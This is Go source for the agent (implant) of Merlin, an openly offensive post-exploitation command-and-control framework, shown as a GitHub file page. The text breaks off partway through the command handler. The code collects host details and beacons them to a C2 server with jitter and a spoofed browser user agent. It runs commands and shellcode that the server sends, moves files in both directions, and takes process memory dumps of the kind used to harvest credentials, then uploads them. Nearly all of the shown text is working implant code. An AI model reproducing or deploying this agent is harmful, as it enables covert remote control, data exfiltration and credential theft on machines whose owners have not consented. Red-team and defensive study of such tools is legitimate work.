forked from Ne0nd0g/merlin
/
agent.go
1445 lines (1324 loc) · 41.8 KB
/
agent.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
// Merlin is a post-exploitation command and control framework.
// This file is part of Merlin.
// Copyright (C) 2019 Russel Van Tuyl
// Merlin is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// any later version.
// Merlin is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with Merlin. If not, see <http://www.gnu.org/licenses/>.
package agent
import (
// Standard
"bytes"
"crypto/sha1" // #nosec G505
"crypto/sha256"
"crypto/tls"
"encoding/base64"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"math/rand"
"net"
"net/http"
"os"
"os/user"
"path/filepath"
"runtime"
"strconv"
"time"
// 3rd Party
"github.com/fatih/color"
"github.com/lucas-clemente/quic-go"
"github.com/lucas-clemente/quic-go/h2quic"
"github.com/satori/go.uuid"
"golang.org/x/net/http2"
// Merlin
"github.com/Ne0nd0g/merlin/pkg"
"github.com/Ne0nd0g/merlin/pkg/core"
"github.com/Ne0nd0g/merlin/pkg/messages"
)
// GLOBAL VARIABLES
var build = "nonRelease" // build is the build number of the Merlin Agent program set at compile time
//TODO this is a duplicate with agents/agents.go, centralize
// Agent is a structure for agent objects. It is not exported to force the use of the New() function
type Agent struct {
ID uuid.UUID // ID is a Universally Unique Identifier per agent
Platform string // Platform is the operating system platform the agent is running on (i.e. windows)
Architecture string // Architecture is the operating system architecture the agent is running on (i.e. amd64)
UserName string // UserName is the username that the agent is running as
UserGUID string // UserGUID is a Globally Unique Identifier associated with username
HostName string // HostName is the computer's host name
Ips []string // Ips is a slice of all the IP addresses assigned to the host's interfaces
Pid int // Pid is the Process ID that the agent is running under
iCheckIn time.Time // iCheckIn is a timestamp of the agent's initial check in time
sCheckIn time.Time // sCheckIn is a timestamp of the agent's last status check in time
Version string // Version is the version number of the Merlin Agent program
Build string // Build is the build number of the Merlin Agent program
WaitTime time.Duration // WaitTime is how much time the agent waits in-between checking in
PaddingMax int // PaddingMax is the maximum size allowed for a randomly selected message padding length
MaxRetry int // MaxRetry is the maximum amount of failed check in attempts before the agent quits
FailedCheckin int // FailedCheckin is a count of the total number of failed check ins
Skew int64 // Skew is size of skew added to each WaitTime to vary check in attempts
Verbose bool // Verbose enables verbose messages to standard out
Debug bool // Debug enables debug messages to standard out
Proto string // Proto contains the transportation protocol the agent is using (i.e. h2 or hq)
Client *http.Client // Client is an http.Client object used to make HTTP connections for agent communications
UserAgent string // UserAgent is the user agent string used with HTTP connections
initial bool // initial identifies if the agent has successfully completed the first initial check in
KillDate int64 // killDate is a unix timestamp that denotes a time the executable will not run after (if it is 0 it will not be used)
}
// New creates a new agent struct with specific values and returns the object
func New(protocol string, verbose bool, debug bool) Agent {
if debug {
message("debug", "Entering agent.init() function")
}
a := Agent{
ID: uuid.NewV4(),
Platform: runtime.GOOS,
Architecture: runtime.GOARCH,
Pid: os.Getpid(),
Version: merlin.Version,
WaitTime: 30000 * time.Millisecond,
PaddingMax: 4096,
MaxRetry: 7,
Skew: 3000,
Verbose: verbose,
Debug: debug,
Proto: protocol,
UserAgent: "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36",
initial: false,
KillDate: 0,
}
u, errU := user.Current()
if errU != nil {
if a.Debug {
message("warn", "There was an error getting the username")
message("warn", errU.Error())
}
} else {
a.UserName = u.Username
a.UserGUID = u.Gid
}
h, errH := os.Hostname()
if errH != nil {
if a.Debug {
message("warn", "There was an error getting the hostname")
message("warn", errH.Error())
}
} else {
a.HostName = h
}
interfaces, errI := net.Interfaces()
if errI != nil {
if a.Debug {
message("warn", "There was an error getting the the IP addresses")
message("warn", errI.Error())
}
} else {
for _, iface := range interfaces {
addrs, err := iface.Addrs()
if err == nil {
for _, addr := range addrs {
a.Ips = append(a.Ips, addr.String())
}
}
}
}
client, errClient := getClient(a.Proto)
if errClient == nil {
a.Client = client
} else {
if a.Verbose {
message("warn", errClient.Error())
}
}
if a.Verbose {
message("info", "Host Information:")
message("info", fmt.Sprintf("\tAgent UUID: %s", a.ID))
message("info", fmt.Sprintf("\tPlatform: %s", a.Platform))
message("info", fmt.Sprintf("\tArchitecture: %s", a.Architecture))
message("info", fmt.Sprintf("\tUser Name: %s", a.UserName)) //TODO A username like _svctestaccont causes error
message("info", fmt.Sprintf("\tUser GUID: %s", a.UserGUID))
message("info", fmt.Sprintf("\tHostname: %s", a.HostName))
message("info", fmt.Sprintf("\tPID: %d", a.Pid))
message("info", fmt.Sprintf("\tIPs: %v", a.Ips))
}
if debug {
message("debug", "Leaving agent.New() function")
}
return a
}
// Run instructs an agent to establish communications with the passed in server using the passed in protocol
func (a *Agent) Run(server string) {
rand.Seed(time.Now().UTC().UnixNano())
if a.Verbose {
message("note", fmt.Sprintf("Agent version: %s", merlin.Version))
message("note", fmt.Sprintf("Agent build: %s", build))
}
for {
// Check killdate to see if the agent should checkin
if (a.KillDate == 0) || (time.Now().Unix() < a.KillDate) {
if a.initial {
if a.Verbose {
message("note", "Checking in")
}
go a.statusCheckIn(server, a.Client)
} else {
a.initial = a.initialCheckIn(server, a.Client)
}
if a.FailedCheckin >= a.MaxRetry {
if a.Verbose {
message("warn", "Failed Checkin is greater than or equal to max retries. Quitting")
}
os.Exit(0)
}
} else {
if a.Verbose {
message("warn", fmt.Sprintf("Quitting. Agent Kill Date has been exceeded: %s",
time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))
}
os.Exit(0)
}
timeSkew := time.Duration(rand.Int63n(a.Skew)) * time.Millisecond
totalWaitTime := a.WaitTime + timeSkew
if a.Verbose {
message("note", fmt.Sprintf("Sleeping for %s at %s", totalWaitTime.String(), time.Now()))
}
time.Sleep(totalWaitTime)
}
}
func (a *Agent) initialCheckIn(host string, client *http.Client) bool {
if a.Debug {
message("debug", "Entering initialCheckIn function")
}
// JSON "initial" payload object
s := messages.SysInfo{
Platform: a.Platform,
Architecture: a.Architecture,
UserName: a.UserName,
UserGUID: a.UserGUID,
HostName: a.HostName,
Pid: a.Pid,
Ips: a.Ips,
}
sysInfoPayload, errP := json.Marshal(s)
if errP != nil {
if a.Debug {
message("warn", "There was an error marshaling the JSON object")
message("warn", errP.Error())
}
}
i := messages.AgentInfo{
Version: merlin.Version,
Build: build,
WaitTime: a.WaitTime.String(),
PaddingMax: a.PaddingMax,
MaxRetry: a.MaxRetry,
FailedCheckin: a.FailedCheckin,
Skew: a.Skew,
Proto: a.Proto,
SysInfo: (*json.RawMessage)(&sysInfoPayload),
KillDate: a.KillDate,
}
agentInfoPayload, errA := json.Marshal(i)
if errA != nil {
if a.Debug {
message("warn", "There was an error marshaling the JSON object")
message("warn", errA.Error())
}
}
// JSON message to be sent to the server
g := messages.Base{
Version: 1.0,
ID: a.ID,
Type: "InitialCheckIn", // TODO Can set this to a constant in messages.go
Payload: (*json.RawMessage)(&agentInfoPayload),
Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax),
}
b := new(bytes.Buffer)
errJ := json.NewEncoder(b).Encode(g)
if errJ != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", errJ.Error()))
}
return false
}
if a.Verbose {
message("note", fmt.Sprintf("Connecting to web server at %s for initial check in.", host))
}
req, reqErr := http.NewRequest("POST", host, b)
if reqErr != nil {
if a.Verbose {
message("warn", reqErr.Error())
}
}
req.Header.Set("User-Agent", a.UserAgent)
req.Header.Set("Content-Type", "application/json; charset=utf-8")
resp, err := client.Do(req)
if err != nil {
a.FailedCheckin++
if a.Debug {
message("warn", "There was an error with the HTTP client while performing a POST:")
message("warn", err.Error())
}
if a.Verbose {
message("note", fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry))
}
if a.Debug {
message("debug", "Leaving initialCheckIn function, returning False")
}
return false
}
if a.Debug {
message("debug", "HTTP Response:")
message("debug", fmt.Sprintf("%+v", resp))
}
if resp.StatusCode != 200 {
a.FailedCheckin++
if a.Verbose {
message("note", fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry))
}
if a.Debug {
message("warn", "There was an error communicating with the server!")
message("warn", fmt.Sprintf("Received HTTP Status Code: %d", resp.StatusCode))
}
if a.Debug {
message("debug", "Leaving initialCheckIn function, returning False.")
}
return false
}
if a.FailedCheckin > 0 && a.FailedCheckin < a.MaxRetry {
if a.Verbose {
message("note", fmt.Sprintf("Updating server with failed checkins from %d to 0", a.FailedCheckin))
}
a.FailedCheckin = 0
go a.agentInfo(host, a.Client)
}
if a.Debug {
message("debug", "Leaving initialCheckIn function, returning True")
}
a.iCheckIn = time.Now().UTC()
return true
}
func (a *Agent) statusCheckIn(host string, client *http.Client) {
g := messages.Base{
Version: 1.0,
ID: a.ID,
Type: "StatusCheckIn",
Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax),
}
b := new(bytes.Buffer)
errJ := json.NewEncoder(b).Encode(g)
if errJ != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s", errJ.Error()))
}
return
}
if a.Verbose {
message("note", fmt.Sprintf("Connecting to web server at %s for status check in.", host))
}
req, reqErr := http.NewRequest("POST", host, b)
if reqErr != nil {
if a.Verbose {
message("warn", reqErr.Error())
}
}
req.Header.Set("User-Agent", a.UserAgent)
req.Header.Set("Content-Type", "application/json; charset=utf-8")
resp, err := client.Do(req)
if err != nil {
if a.Debug {
message("warn", "There was an error with the HTTP Response:")
message("warn", err.Error()) // On Mac I get "read: connection reset by peer" here but not on other platforms
} // Only does this with a 10s Sleep
a.FailedCheckin++
if a.Verbose {
message("note", fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry))
}
return
}
if a.Debug {
message("debug", "HTTP Response:")
message("debug", fmt.Sprintf("ContentLength: %d", resp.ContentLength))
message("debug", fmt.Sprintf("%+v", resp))
}
if resp.StatusCode != 200 {
a.FailedCheckin++
if a.Verbose {
message("note", fmt.Sprintf("%d out of %d total failed checkins", a.FailedCheckin, a.MaxRetry))
}
if a.Debug {
message("warn", "There was an error communicating with the server!")
message("warn", fmt.Sprintf("Received HTTP Status Code: %d", resp.StatusCode))
}
return
}
if resp.ContentLength != 0 {
var payload json.RawMessage
j := messages.Base{
Payload: &payload,
}
errD := json.NewDecoder(resp.Body).Decode(&j)
if errD != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error decoding the JSON message:\r\n%s",
errD.Error()))
}
a.FailedCheckin++
return
}
a.FailedCheckin = 0
a.sCheckIn = time.Now().UTC()
if a.Debug {
message("debug", fmt.Sprintf("Agent ID: %s", j.ID))
message("debug", fmt.Sprintf("Message Type: %s", j.Type))
message("debug", fmt.Sprintf("Message Payload: %s", j.Payload))
} else if a.Verbose {
message("success", fmt.Sprintf("%s Message Type Received!", j.Type))
}
switch j.Type { // TODO add self destruct that will find the .exe current path and start a new process to delete it after initial sleep
case "FileTransfer":
var p messages.FileTransfer
errF := json.Unmarshal(payload, &p)
if errF != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error unmarshalling the FileTransfer JSON "+
"message:\r\n%s", errF.Error()))
}
}
g := messages.Base{
Version: 1.0,
ID: j.ID,
Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax),
}
// Agent will be downloading a file from the server
if p.IsDownload {
if a.Verbose {
message("note", "FileTransfer type: Download")
}
// Setup the message to submit the status of the upload
c := messages.CmdResults{
Job: p.Job,
Stdout: "",
Stderr: "",
}
d, _ := filepath.Split(p.FileLocation)
_, directoryPathErr := os.Stat(d)
if directoryPathErr != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error getting the FileInfo structure for the directory %s", d))
message("warn", directoryPathErr.Error())
}
c.Stderr = fmt.Sprintf("There was an error getting the FileInfo structure for the remote "+
"directory %s:\r\n", p.FileLocation)
c.Stderr += directoryPathErr.Error()
}
if c.Stderr == "" {
if a.Verbose {
message("note", fmt.Sprintf("Writing file to %s", p.FileLocation))
}
downloadFile, downloadFileErr := base64.StdEncoding.DecodeString(p.FileBlob)
if downloadFileErr != nil {
c.Stderr = downloadFileErr.Error()
if a.Verbose {
message("warn", "There was an error decoding the fileBlob")
message("warn", downloadFileErr.Error())
}
} else {
errF := ioutil.WriteFile(p.FileLocation, downloadFile, 0644)
if errF != nil {
c.Stderr = errF.Error()
if a.Verbose {
message("warn", fmt.Sprintf("There was an error writing to : %s", p.FileLocation))
message("warn", errF.Error())
}
} else {
if a.Verbose {
message("success", fmt.Sprintf("Successfully download file to %s", p.FileLocation))
}
c.Stdout = fmt.Sprintf("Successfully uploaded file to %s on agent %s", p.FileLocation, a.ID.String())
}
}
}
k, err := json.Marshal(c)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error marshalling the CmdResults JSON for"+
" file download:\r\n%s", err.Error()))
}
break
}
g.Type = "CmdResults"
g.Payload = (*json.RawMessage)(&k)
}
// Agent will uploading a file to the server
if !p.IsDownload {
if a.Verbose {
message("note", "FileTransfer type: Upload")
}
fileData, fileDataErr := ioutil.ReadFile(p.FileLocation)
if fileDataErr != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error reading %s", p.FileLocation))
message("warn", fileDataErr.Error())
}
errMessage := fmt.Sprintf("There was an error reading %s\r\n", p.FileLocation)
errMessage += fileDataErr.Error()
c := messages.CmdResults{
Job: p.Job,
Stderr: errMessage,
}
if a.Verbose {
message("note", "Sending error message to sever.")
}
k, err := json.Marshal(c)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error marshalling the CmdResults JSON for"+
" file upload:\r\n%s", err.Error()))
}
break
}
g.Type = "CmdResults"
g.Payload = (*json.RawMessage)(&k)
} else {
fileHash := sha1.New() // #nosec G401 // Use SHA1 because it is what many Blue Team tools use
_, errW := io.WriteString(fileHash, string(fileData))
if errW != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error generating the SHA1 file hash e:\r\n%s", errW.Error()))
}
}
if a.Verbose {
message("note", fmt.Sprintf("Uploading file %s of size %d bytes and a SHA1 hash of %x to the server",
p.FileLocation,
len(fileData),
fileHash.Sum(nil)))
}
c := messages.FileTransfer{
FileLocation: p.FileLocation,
FileBlob: base64.StdEncoding.EncodeToString([]byte(fileData)),
IsDownload: true,
Job: p.Job,
}
k, err := json.Marshal(c)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error marshalling the CmdPayload JSON "+
"message:\r\n%s", err.Error()))
}
break
}
g.Type = "FileTransfer"
g.Payload = (*json.RawMessage)(&k)
}
}
b2 := new(bytes.Buffer)
err1 := json.NewEncoder(b2).Encode(g)
if err1 != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s",
err1.Error()))
}
break
}
resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2)
if respErr != nil {
if a.Verbose {
message("warn", "There was an error sending the FileTransfer message to the server")
message("warn", respErr.Error())
}
break
}
if resp2.StatusCode != 200 {
if a.Verbose {
message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode))
}
}
case "CmdPayload":
var p messages.CmdPayload
err2 := json.Unmarshal(payload, &p)
if err2 != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error unmarshalling the CmdPayload JSON "+
"message:\r\n%s", err2.Error()))
}
}
stdout, stderr := a.executeCommand(p) // TODO this needs to be its own routine so the agent can continue to function while it is going
c := messages.CmdResults{
Job: p.Job,
Stdout: stdout,
Stderr: stderr,
}
k, err := json.Marshal(c)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error marshalling the CmdPayload JSON "+
"message:\r\n%s", err.Error()))
}
break
}
g := messages.Base{
Version: 1.0,
ID: j.ID,
Type: "CmdResults",
Payload: (*json.RawMessage)(&k),
Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax),
}
b2 := new(bytes.Buffer)
err3 := json.NewEncoder(b2).Encode(g)
if err3 != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error encoding the CmdPayload JSON "+
"message:\r\n%s", err3.Error()))
}
break
}
if a.Verbose {
message("note", fmt.Sprintf("Sending response to server: %s", stdout))
}
resp2, errR := client.Post(host, "application/json; charset=utf-8", b2)
if errR != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error with the POST request:\r\n%s",
errR.Error()))
}
break
}
if resp2.StatusCode != 200 {
if a.Verbose {
message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d",
resp2.StatusCode))
}
}
case "ServerOk":
if a.Verbose {
message("note", "Received Server OK, doing nothing")
}
case "Module":
if a.Verbose {
message("note", "Received Agent Module Directive")
}
var p messages.Module
e := json.Unmarshal(payload, &p)
if e != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error encoding the CmdPayload JSON "+
"message:\r\n%s", e.Error()))
}
break
}
switch p.Command {
case "Minidump":
//args: []string{process name, pid, temppath}
if a.Verbose {
message("note", "Received Minidump request")
}
//ensure the provided args are valid
if len(p.Args) < 2 {
//not enough args
if a.Verbose {
message("warn", fmt.Sprintf("Not enough args were provided to dump a process"))
}
break
}
process := p.Args[0]
pid, err := strconv.ParseInt(p.Args[1], 0, 32)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("Could not parse PID as an integer:%s\r\n%s",
p.Args[1], err.Error()))
}
break
}
tempPath := ""
if len(p.Args) == 3 {
tempPath = p.Args[2]
}
// Get minidump
miniD, miniDumpErr := miniDump(tempPath, process, uint32(pid))
//copied and pasted from upload func, modified appropriately
if miniDumpErr != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error executing the miniDump module:\r\n%s",
miniDumpErr.Error()))
}
errMessage := fmt.Sprintf("There was an error executing the miniDump module:\r\n%s",
miniDumpErr.Error())
c := messages.CmdResults{
Job: p.Job,
Stderr: errMessage,
}
if a.Verbose {
message("note", "Sending error message to sever.")
}
k, err := json.Marshal(c)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error creating the json:\r\n%s", err.Error()))
}
}
g.Type = "CmdResults"
g.Payload = (*json.RawMessage)(&k)
} else {
fileHash := sha256.New()
_, errW := io.WriteString(fileHash, string(miniD["FileContent"].([]byte)))
if errW != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error generating the SHA256 file hash e:\r\n%s", errW.Error()))
}
}
if a.Verbose {
message("note", fmt.Sprintf("Uploading minidump file of size %d bytes and a SHA1 hash of %x to the server",
//p.FileLocation,
len(miniD["FileContent"].([]byte)),
fileHash.Sum(nil)))
}
c := messages.FileTransfer{
FileLocation: fmt.Sprintf("%s.%d.dmp", miniD["ProcName"], miniD["ProcID"]),
FileBlob: base64.StdEncoding.EncodeToString(miniD["FileContent"].([]byte)),
IsDownload: true,
Job: p.Job,
}
k, err := json.Marshal(c)
if err != nil {
if a.Verbose {
message("warn", "There was an error creating the json")
message("warn", err.Error())
}
}
g.Type = "FileTransfer"
g.Payload = (*json.RawMessage)(&k)
}
b2 := new(bytes.Buffer)
err1 := json.NewEncoder(b2).Encode(g)
if err1 != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error encoding the JSON message:\r\n%s",
err1.Error()))
}
break
}
resp2, respErr := client.Post(host, "application/json; charset=utf-8", b2)
if respErr != nil {
if a.Verbose {
message("warn", "There was an error sending the FileTransfer message to the server")
message("warn", respErr.Error())
}
break
}
if resp2.StatusCode != 200 {
if a.Verbose {
message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode))
}
}
}
case "AgentControl":
if a.Verbose {
message("note", "Received Agent Control Message")
}
var p messages.AgentControl
err4 := json.Unmarshal(payload, &p)
if err4 != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error unmarshalling the AgentControl "+
"JSON message:\r\n%s", err4.Error()))
}
}
switch p.Command {
case "kill":
if a.Verbose {
message("note", "Received Agent Kill Message")
}
os.Exit(0)
case "sleep":
if a.Verbose {
message("note", fmt.Sprintf("Setting agent sleep time to %s", p.Args))
}
t, err := time.ParseDuration(p.Args)
if err != nil {
if a.Verbose {
message("warn", "There was an error changing the agent waitTime")
message("warn", err.Error())
}
}
if t > 0 {
a.WaitTime = t
a.agentInfo(host, client)
} else {
if a.Verbose {
message("warn", "The agent was provided with a time that was not greater than zero.")
message("warn", fmt.Sprintf("The provided time was: %s", t.String()))
}
}
case "skew":
t, err := strconv.ParseInt(p.Args, 10, 64)
if err != nil {
if a.Verbose {
message("warn", "There was an error changing the agent skew interval")
message("warn", err.Error())
}
}
if a.Verbose {
message("note", fmt.Sprintf("Setting agent skew interval to %d", t))
}
a.Skew = t
a.agentInfo(host, client)
case "padding":
t, err := strconv.Atoi(p.Args)
if err != nil {
if a.Verbose {
message("warn", "There was an error changing the agent message padding size")
message("warn", err.Error())
}
}
if a.Verbose {
message("note", fmt.Sprintf("Setting agent message maximum padding size to %d", t))
}
a.PaddingMax = t
a.agentInfo(host, client)
case "initialize":
if a.Verbose {
message("note", "Received agent re-initialize message")
}
a.initial = false
case "maxretry":
t, err := strconv.Atoi(p.Args)
if err != nil {
if a.Verbose {
message("warn", "There was an error changing the agent max retries")
message("warn", err.Error())
}
}
if a.Verbose {
message("note", fmt.Sprintf("Setting agent max retries to %d", t))
}
a.MaxRetry = t
a.agentInfo(host, client)
case "killdate":
d, err := strconv.Atoi(p.Args)
if err != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error converting the kill date to an "+
"integer:\r\n%s", err.Error()))
}
break
}
a.KillDate = int64(d)
if a.Verbose {
message("info", fmt.Sprintf("Set Kill Date to: %s",
time.Unix(a.KillDate, 0).UTC().Format(time.RFC3339)))
}
a.agentInfo(host, client)
default:
if a.Verbose {
message("warn", fmt.Sprintf("Unknown AgentControl message type received %s", p.Command))
}
}
case "Shellcode":
if a.Verbose {
message("note", "Received Execute shellcode command")
}
var s messages.Shellcode
var e error
var so string
var se string
errShellcode := json.Unmarshal(payload, &s)
if errShellcode != nil {
e = errShellcode
} else {
e = a.executeShellcode(s) // Execution method determined in function
}
if e != nil {
se = e.Error()
so = ""
if a.Verbose {
message("warn", fmt.Sprintf("There was an error: %s", se))
}
} else {
so = "Shellcode executed successfully"
se = ""
}
c := messages.CmdResults{
Job: s.Job,
Stdout: so,
Stderr: se,
}
k, errMarshal := json.Marshal(c)
if errMarshal != nil {
if a.Verbose {
message("warn", "There was an error marshalling the CmdResults message in the shellocde section")
message("warn", errMarshal.Error())
}
}
g := messages.Base{
Version: 1.0,
ID: j.ID,
Type: "CmdResults",
Payload: (*json.RawMessage)(&k),
Padding: core.RandStringBytesMaskImprSrc(a.PaddingMax),
}
b2 := new(bytes.Buffer)
errEncode := json.NewEncoder(b2).Encode(g)
if a.Verbose {
if errEncode != nil {
message("warn", fmt.Sprintf("There was an error encoding the JSON message\r\n%s", errEncode.Error()))
break
} else {
message("note", fmt.Sprintf("Sending response to server: %s", so))
}
}
if a.Debug {
message("info", fmt.Sprintf("About to send POST to server for job %s "+
"\r\nSTDOUT:\r\n%s\r\nSTDERR:\r\n%s", s.Job, so, se))
}
resp2, errPost := client.Post(host, "application/json; charset=utf-8", b2)
if errPost != nil {
if a.Verbose {
message("warn", "There was an error sending the CmdResults message to the server in the shellcode section")
message("warn", errPost.Error())
}
break
}
if resp2.StatusCode != 200 {
if a.Verbose {
message("warn", fmt.Sprintf("Message error from server. HTTP Status code: %d", resp2.StatusCode))
}
}
case "NativeCmd":
var p messages.NativeCmd
err5 := json.Unmarshal(payload, &p)
if err5 != nil {
if a.Verbose {
message("warn", fmt.Sprintf("There was an error unmarshalling the NativeCmd JSON "+
"message:\r\n%s", err5.Error()))
}
}
switch p.Command {
case "ls":
listing, err := a.list(p.Args)
var se string
if err != nil {
se = err.Error()
if a.Verbose {
message("warn", fmt.Sprintf("ls command returned STDERR: %s", err.Error()))
}
}
c := messages.CmdResults{
Job: p.Job,
Stdout: listing,
Stderr: se,
}